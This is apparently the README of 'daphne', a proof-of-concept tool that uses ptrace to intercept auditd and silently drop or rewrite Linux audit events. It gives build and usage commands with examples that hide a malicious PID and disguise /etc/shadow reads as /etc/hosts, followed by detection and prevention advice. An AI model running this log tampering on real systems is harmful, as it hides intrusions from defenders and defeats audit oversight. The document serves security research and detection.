daphne

---

daphne is a proof of concept tool for blindsiding auditd. By intercepting recvfrom syscalls from the auditd process, daphne can tamper audit messages before they being processed by the auditd daemon.

For attaching to auditd via ptrace, root privileges are required. This method of tampering auditd events works quite reliable when the ptrace system call itself is not monitored.

More technical details as well as detection and prevention guidance can be found within our blog post blindsiding auditd for fun and profit.

Usage

---

Since daphne is only a proof of concept, the supported functionalities are limited. daphne can run in two different modes that tamper audit events in different ways. When running with two command line arguments, daphne expects the first argument to be the auditd process ID and the second one to be a string that should be hidden from audit logs. Each event message containing the specified string is then going to be dropped.

In the following example, auditd is running as PID 428 and PID 1337 represents a malicious process that should be excluded from logging:

[root@auditd daphne]# make
gcc -c src/ptrace.c -O3 -I include -w
gcc -c src/utils.c -O3 -I include -w
gcc src/daphne.c ptrace.o utils.o -o dist/daphne-x64 -O3 -I include -w
strip --strip-unneeded dist/daphne-x64

[root@auditd daphne]# ./dist/daphne-x64 428 pid=1337
[+] Attached to process: 428
[+] Configured ptrace correctly.
[+] Starting ptrace event loop.
[+] Intercepted SYS_RECVFROM call.
[+] Intercepted SYS_RECVFROM call.
[+] Intercepted SYS_RECVFROM call.
[+] Intercepted SYS_RECVFROM call.

While daphne is running, all events containing the string pid=1337 get dropped before being logged.

When running daphne with three arguments instead, daphne replaces all occurrences of the second argument with the third argument within the audit logs. In the following example, we replace each occurrence of /etc/shadow with /etc/hosts:

[root@auditd daphne]# make
gcc -c src/ptrace.c -O3 -I include -w
gcc -c src/utils.c -O3 -I include -w
gcc src/daphne.c ptrace.o utils.o -o dist/daphne-x64 -O3 -I include -w
strip --strip-unneeded dist/daphne-x64

[root@auditd daphne]# ./dist/daphne-x64 428 /etc/shadow /etc/hosts
[+] Attached to process: 428
[+] Configured ptrace correctly.
[+] Starting ptrace event loop.
[+] Intercepted SYS_RECVFROM call.
[+] Intercepted SYS_RECVFROM call.
[+] Replacing '/etc/shadow' with '/etc/hosts'.
[+] Intercepted SYS_RECVFROM call.
[+] Replacing '/etc/shadow' with '/etc/hosts'.
[+] Intercepted SYS_RECVFROM call.

The following listing shows the tampered audit message from auditd:

type=SYSCALL msg=audit(1690805878.675:866): arch=c000003e syscall=257 success=no exit=-13 a0=ffffff9c a1=7fff3a935d50 a2=80000 a3=0 items=1 ppid=1041 pid=1184 auid=4294967295 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts1 ses=4294967295 comm="bat" exe="/usr/bin/bat" key="etcpasswd"ARCH=x86_64 SYSCALL=openat AUID="unset" UID="user" GID="user" EUID="user" SUID="user" FSUID="user" EGID="user" SGID="user" FSGID="user"
type=PATH msg=audit(1690805878.675:866): item=0 name="/etc/hosts" inode=270575 dev=ca:03 mode=0100000 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_froot0OUID="root" OGID="root"
type=PROCTITLE msg=audit(1690805878.675:866): proctitle=626174002D70002F6574632F686F737473

Detection

---

A detailed technical discussion of daphne and some possible detection methods are discussed within our blog post blindsiding auditd for fun and profit. In this README, we only provide an overview of possible detection methods:

1. Monitoring the ptrace syscall using auditd itself makes daphne basically unusable. Despite daphne is smart enough to hide itself from audit events, the sheer number of generated events is so high that a noticeable system slowdown is created. Since daphne needs to be continuously attached to auditd, the event queue is flooded with ptrace events. Other events will be processed with a noticeable slowdown that probably even increases over time.

   The following listing shows a possible configuration copied from the auditd repository of Florian Roth:

   ## Injection
   ### These rules watch for code injection by the ptrace facility.
   ### This could indicate someone trying to do something bad or just debugging
   -a always,exit -F arch=b32 -S ptrace -F a0=0x4 -k code_injection
   -a always,exit -F arch=b64 -S ptrace -F a0=0x4 -k code_injection
   -a always,exit -F arch=b32 -S ptrace -F a0=0x5 -k data_injection
   -a always,exit -F arch=b64 -S ptrace -F a0=0x5 -k data_injection
   -a always,exit -F arch=b32 -S ptrace -F a0=0x6 -k register_injection
   -a always,exit -F arch=b64 -S ptrace -F a0=0x6 -k register_injection
   -a always,exit -F arch=b32 -S ptrace -k tracing
   -a always,exit -F arch=b64 -S ptrace -k tracing
   

2. Monitor the auditd daemon for error messages. Simply clearing the netlink output buffer as done by daphne causes error messages as shown below:

   Jul 31 13:25:02 auditd auditd[427]: Netlink message from kernel was not OK
   Jul 31 13:25:02 auditd auditd[427]: Netlink message from kernel was not OK
   Jul 31 13:25:02 auditd auditd[427]: Netlink message from kernel was not OK
   Jul 31 13:25:02 auditd auditd[427]: Netlink message from kernel was not OK
   

3. Look for missing event IDs in auditd logs. If certain event IDs are skipped, this may indicate tampering. The listing below shows an auditd log where one event was dropped by daphne:

   type=SYSCALL msg=audit(1690788664.304:980): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffe5e584772 a2=0 a3=0 items=1 ppid=1022 pid=1226 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=4294967295 comm="cat" exe="/usr/bin/cat" key="etcpasswd"ARCH=x86_64 SYSCALL=openat AUID="unset" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root"
   type=PATH msg=audit(1690788664.304:980): item=0 name="/etc/shadow" inode=270575 dev=ca:03 mode=0100000 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root"
   type=PROCTITLE msg=audit(1690788664.304:980): proctitle=636174002F6574632F736861646F77
   type=SYSCALL msg=audit(1690788671.579:982): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffc22a71772 a2=0 a3=0 items=1 ppid=1022 pid=1228 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=4294967295 comm="cat" exe="/usr/bin/cat" key="etcpasswd"ARCH=x86_64 SYSCALL=openat AUID="unset" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root"
   type=PATH msg=audit(1690788671.579:982): item=0 name="/etc/shadow" inode=270575 dev=ca:03 mode=0100000 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root"
   type=PROCTITLE msg=audit(1690788671.579:982): proctitle=636174002F6574632F736861646F77
   

4. If possible, restrict ptrace permissions e.g. by using a Linux Security Module. Yama represents one option to globally prevent ptrace access by configuring a restrictive ptrace_scope. If globally disabling ptrace is not an option, you may can prevent ptrace access to critical processes by writing a custom Linux Security Module.